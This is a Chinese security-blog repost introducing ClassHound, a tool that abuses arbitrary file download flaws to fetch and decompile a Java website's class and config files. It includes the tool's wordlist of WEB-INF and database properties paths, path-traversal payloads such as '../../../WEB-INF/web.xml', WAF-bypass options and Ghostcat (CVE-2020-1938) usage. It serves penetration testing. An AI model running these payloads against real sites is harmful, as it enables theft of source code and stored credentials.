好工具分享:渗透利器 ClassHound

admin 2023年8月13日18:37:06评论55 views字数 7937阅读26分27秒阅读模式

利用任意文件下载漏洞自动循环下载并反编译class文件获得网站源码

下载地址:https://github.com/LandGrey/ClassHound 

之前遇到一个java 任意文件读取,只能读取到webapps/目录的内容,一个一个手动枚举比较复杂,由于刷SRC重点就是快,咨询谭师傅给我分享了这个工具,简直不能太舒服!如果渗透中大家有自己对站点的认知,可以添加一些自己的字典,必定起飞!

今天我Rekiii师傅也遇到了相同问题,那么考古一波,也分享给大家!

先看大师傅的字典(很全了)

'WEB-INF/web.xml',    'WEB-INF/spring.xml',    'WEB-INF/config.xml',    'WEB-INF/ehcache.xml',    'WEB-INF/weblogic.xml',    'WEB-INF/springmvc.xml',    'WEB-INF/spring-mvc.xml',    'WEB-INF/mybatis.cfg.xml',    'WEB-INF/springMVC-mvc.xml',    'WEB-INF/spring-config.xml',    'WEB-INF/struts-config.xml',    'WEB-INF/mybatis-config.xml',    'WEB-INF/spring-service.xml',    'WEB-INF/spring-mvc-base.xml',    'WEB-INF/spring-resource.xml',    'WEB-INF/spring-context-ws.xml',    'WEB-INF/spring-context-web.xml',    'WEB-INF/spring-mvc-servlet.xml',    'WEB-INF/applicationContext.xml',    'WEB-INF/dispatcher-servlet.xml',    'WEB-INF/spring-context-dev.xml',    'WEB-INF/spring-context-app.xml',    'WEB-INF/spring-context-prd.xml',    'WEB-INF/spring-context-prod.xml',    'WEB-INF/spring-context-main.xml',    'WEB-INF/spring-context-base.xml',    'WEB-INF/spring-context-cache.xml',    'WEB-INF/spring-context-common.xml',    'WEB-INF/spring-context-public.xml',    'WEB-INF/spring-context-mybatis.xml',    'WEB-INF/spring-context-servlet.xml',    'WEB-INF/spring-context-datasource.xml',    'WEB-INF/spring-context-production.xml',    'WEB-INF/spring-context-development.xml',
# WEB-INF/classes 目录 xml 'WEB-INF/classes/web.xml', 'WEB-INF/classes/spring.xml', 'WEB-INF/classes/config.xml', 'WEB-INF/classes/ehcache.xml', 'WEB-INF/classes/weblogic.xml', 'WEB-INF/classes/springmvc.xml', 'WEB-INF/classes/spring-mvc.xml', 'WEB-INF/classes/mybatis.cfg.xml', 'WEB-INF/classes/springMVC-mvc.xml', 'WEB-INF/classes/spring-config.xml', 'WEB-INF/classes/struts-config.xml', 'WEB-INF/classes/mybatis-config.xml', 'WEB-INF/classes/spring-service.xml', 'WEB-INF/classes/spring-mvc-base.xml', 'WEB-INF/classes/spring-resource.xml', 'WEB-INF/classes/spring-context-ws.xml', 'WEB-INF/classes/spring-context-web.xml', 'WEB-INF/classes/spring-mvc-servlet.xml', 'WEB-INF/classes/applicationContext.xml', 'WEB-INF/classes/dispatcher-servlet.xml', 'WEB-INF/classes/spring-context-dev.xml', 'WEB-INF/classes/spring-context-app.xml', 'WEB-INF/classes/spring-context-prd.xml', 'WEB-INF/classes/spring-context-prod.xml', 'WEB-INF/classes/spring-context-main.xml', 'WEB-INF/classes/spring-context-base.xml', 'WEB-INF/classes/spring-context-cache.xml', 'WEB-INF/classes/spring-context-common.xml', 'WEB-INF/classes/spring-context-public.xml', 'WEB-INF/classes/spring-context-mybatis.xml', 'WEB-INF/classes/spring-context-servlet.xml', 'WEB-INF/classes/spring-context-datasource.xml', 'WEB-INF/classes/spring-context-production.xml', 'WEB-INF/classes/spring-context-development.xml',
# WEB-INF 其他目录 xml 'WEB-INF/classes/spring/spring.xml', 'WEB-INF/classes/spring/springmvc.xml', 'WEB-INF/classes/spring/spring-dao.xml', 'WEB-INF/classes/spring/spring-web.xml', 'WEB-INF/classes/spring/spring-mvc.xml', 'WEB-INF/classes/spring/spring-config.xml', 'WEB-INF/classes/spring/spring-service.xml', 'WEB-INF/classes/spring/spring-resource.xml', 'WEB-INF/classes/mybatis/mybatis-config.xml',
# WEB-INF 直系目录 properties 'WEB-INF/db.properties', 'WEB-INF/app.properties', 'WEB-INF/jdbc.properties', 'WEB-INF/config.properties', 'WEB-INF/spring.properties', 'WEB-INF/database.properties', 'WEB-INF/fckeditor.properties', 'WEB-INF/properties.properties', 'WEB-INF/application.properties',
# WEB-INF/classes 目录 properties 'WEB-INF/classes/db.properties', 'WEB-INF/classes/app.properties', 'WEB-INF/classes/jdbc.properties', 'WEB-INF/classes/config.properties', 'WEB-INF/classes/spring.properties', 'WEB-INF/classes/database.properties', 'WEB-INF/classes/fckeditor.properties', 'WEB-INF/classes/properties.properties', 'WEB-INF/classes/application.properties',
# WEB-INF/config 目录 properties 'WEB-INF/config/db.properties', 'WEB-INF/config/app.properties', 'WEB-INF/config/jdbc.properties', 'WEB-INF/config/config.properties', 'WEB-INF/config/spring.properties', 'WEB-INF/config/database.properties', 'WEB-INF/config/properties.properties', 'WEB-INF/config/application.properties',
# WEB-INF/properties 目录 properties 'WEB-INF/properties/db.properties', 'WEB-INF/properties/app.properties', 'WEB-INF/properties/jdbc.properties', 'WEB-INF/properties/config.properties', 'WEB-INF/properties/spring.properties', 'WEB-INF/properties/database.properties', 'WEB-INF/properties/properties.properties', 'WEB-INF/properties/application.properties',
# WEB-INF 其他目录 properties 'WEB-INF/classes/META-INF/properties/database.properties',]
do_not_download_classes = [ '/qiniu/', '/javax/', '/qcloud/', '/hudson/', '/javafx/', '/jenkins/', '/kohsuke/', '/netscape/', '/jenkinsci/', '/freemarker/',
'/java/io/', '/java/sql/', '/java/nio/', '/java/net/', '/java/awt/', '/java/rmi/', '/java/math/', '/java/time/', '/java/mail/', '/java/util/', '/java/lang/', '/java/text/', '/java/beans/', '/java/applet/', '/java/security/',
'/cn/alanx/', '/cn/chinadoi/',
'/net/sf/', '/net/coobird/', '/net/sourceforge/',
'/sun/net/',
'/ch/qos/', '/jxl/write/', '/jcifs/http/', '/de/innosystec/',
'/org/jcp/', '/org/omg/', '/org/w3c/', '/org/xml/', '/org/json/', '/org/jdom/', '/org/jasig', '/org/slf4j/', '/org/dom4j/', '/org/jfree/', '/org/tuckey/', '/org/quartz/', '/org/apache/', '/org/mybatis/', '/org/hibernate/', '/org/htmlparser/', '/org/aopalliance/', '/org/logicalcobwebs/', '/org/springframework/',
'/com/sun/', '/com/octo/', '/com/jacob/', '/com/fredck/' '/com/oracle/', '/com/google/', '/com/alipay/', '/com/aliyun/', '/com/alibaba/', '/com/tencent/', '/com/mchange/' '/com/aliyuncs/', '/com/baidubce/', '/com/microsoft/',]

ClassHound

利用任意文件下载漏洞自动循环下载并反编译class文件获得网站源码

好工具分享:渗透利器 ClassHound 好工具分享:渗透利器 ClassHound 好工具分享:渗透利器 ClassHound

注意事项

1. 使用过程中的 bug 和优化建议欢迎提 issue
2. 程序运行请先安装 requirements.txt 中的 python 模块, 并配置好 java 环境变量
3. 程序仅作为安全研究和授权测试使用, 开发人员对因误用和滥用该程序造成的一切损害概不负责

下载安装

git clone --depth=1 --branch=master https://www.github.com/LandGrey/ClassHound.git
cd ClassHound/
sudo pip install -r requirements.txt
sudo chmod +x classhound.py
python classhound.py -h

使用效果

好工具分享:渗透利器 ClassHound

使用方法

0x00: 指定目标链接

参数:-u/--url

指定可 正常下载文件 的链接, 并默认使用 # 字符标记任意文件下载漏洞的文件位置

例如可正常下载 1.png 文件的链接如下:http://127.0.0.1/download.jsp?path=images/1.png
任意文件下载漏洞载荷位置正好在 1.png,可以使用命令:
python classhound.py -u "http://127.0.0.1/download.jsp?path=images/#1.png#"

或者使用链接 http://127.0.0.1/download.jsp?path=../../../WEB-INF/web.xml 可正常下载文件时,
也可使用命令:
python classhound.py -u "http://127.0.0.1/download.jsp?path=#../../../WEB-INF/web.xml#"

0x01: 指定下载失败关键词

参数:-k/--keyword

指定下载失败时页面会出现的关键字,可用来辅助程序判断是否下载成功

如 -k "404 not found" ,不清楚或不固定时,可以不指定

0x02: 指定POST请求数据

参数:-p/--post

使用 POST 请求下载文件

python classhound.py -u "http://127.0.0.1/download.jsp" --post "path=images/#1.png#"

0x03: 指定文件遍历字符

参数:-tc/--travel-char (推荐使用)

直接指定文件遍历字符,默认是 ../



1. 已知文件遍历字符
2. 需要通过更改文件遍历字符绕过 WAF
3. 程序没有自动探测出来特殊的遍历字符时

推荐显示使用该选项,会减少不必要的探测请求,程序不容易出错

0x04: 指定遍历字符数量

参数:-cc/--char-count (推荐使用)

直接指定下载 WEB-INF/web.xml 文件时的遍历字符数量

程序没有自动探测出来遍历字符数量时,可以单独指定

例如,可使用 http://127.0.0.1/download.jsp?path=../../../WEB-INF/web.xml 下载 WEB-INF/web.xml 文件时,此时的遍历字符数量为 3 个

可使用命令:
python classhound.py -u "http://127.0.0.1/download.jsp?path=images/#1.png#" -tc "../" -cc 3

0x05: 指定父路径

参数:-bp/--base-path

指定 WEB-INF/web.xml 的父路径

例如当因目录原因,直接跳目录用 ../../../WEB-INF/web.xml 并不能下载 WEB-INF/web.xml 文件,需要用 ../../../../../../../opt/tomcat/webapps/cms/WEB-INF/web.xml 才可以下载成功时:

可以用
-bp opt/tomcat/webapps/cms/ (注意参数值前面无 /,后面有 /)
指定需要拼接的父路径,同时用 -tc ../ 指定文件遍历字符,用 -cc 7 指定需要 7 个遍历字符

0x06: tomcat ajp 任意文件读取漏洞利用(CVE-2020-1938)

参数:-vul ghostcat

指定使用该漏洞来下载 class 和配置文件

常与 --ajp-port 参数一起使用,指定目标的 ajp 服务监听端口号,默认 8009

完整示例:
python classhound.py -u "http://127.0.0.1:8080/" -vul ghostcat --ajp-port 8009

其他参数

## -s
设置两次HTTP请求间的 sleep time,暂停N秒,防止请求过于频繁被 waf 拦截

## -f
如果想顺带下载些其他已知文件, 可将服务器文件的相对路径一行一个写入文件中, 然后用 -f 参数指定文件
相对路径的文件下载可能需要不一样数量的遍历字符, 可以同时启用 -a/--auto 参数,程序会尝试不同数量的遍历字符
例如创建文件 download.txt,内容如下:
/etc/issue
install/index.jsp
application.properties
ROOT/META-INF/MANIFEST.MF
WEB-INF/classes/me/landgrey/config/config.class

## -a
自动切换遍历字符数量,常和 -f 参数一起使用

## -dc
设置标记漏洞的分隔符,默认为 #

## -mc
设置自动探测时尝试的最大遍历字符数量, 默认 8

## -hh
设置请求时的额外 HTTP header

## -hp
设置 HTTP/HTTPS 代理

程序修改

极少数情况下,下载的文件可能会被二次处理,比如在文件头部或尾部添加额外字符文件被编码等。

此时,可以修改程序中的 save_file 函数,在文件在保存到本地前,对文件做额外处理,还原成正常的 xml 或 class 文件。

依赖开源程序

Class 反编译工具 https://github.com/leibnitz27/cfr

Ghostcat利用脚本 https://github.com/00theway/Ghostcat-CNVD-2020-10487


ps:配合ajp 文件包含有奇效!

原文始发于微信公众号(天驿安全):好工具分享:渗透利器 ClassHound

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月13日18:37:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   好工具分享:渗透利器 ClassHoundhttps://cn-sec.com/archives/1940260.html

发表评论

匿名网友 填写信息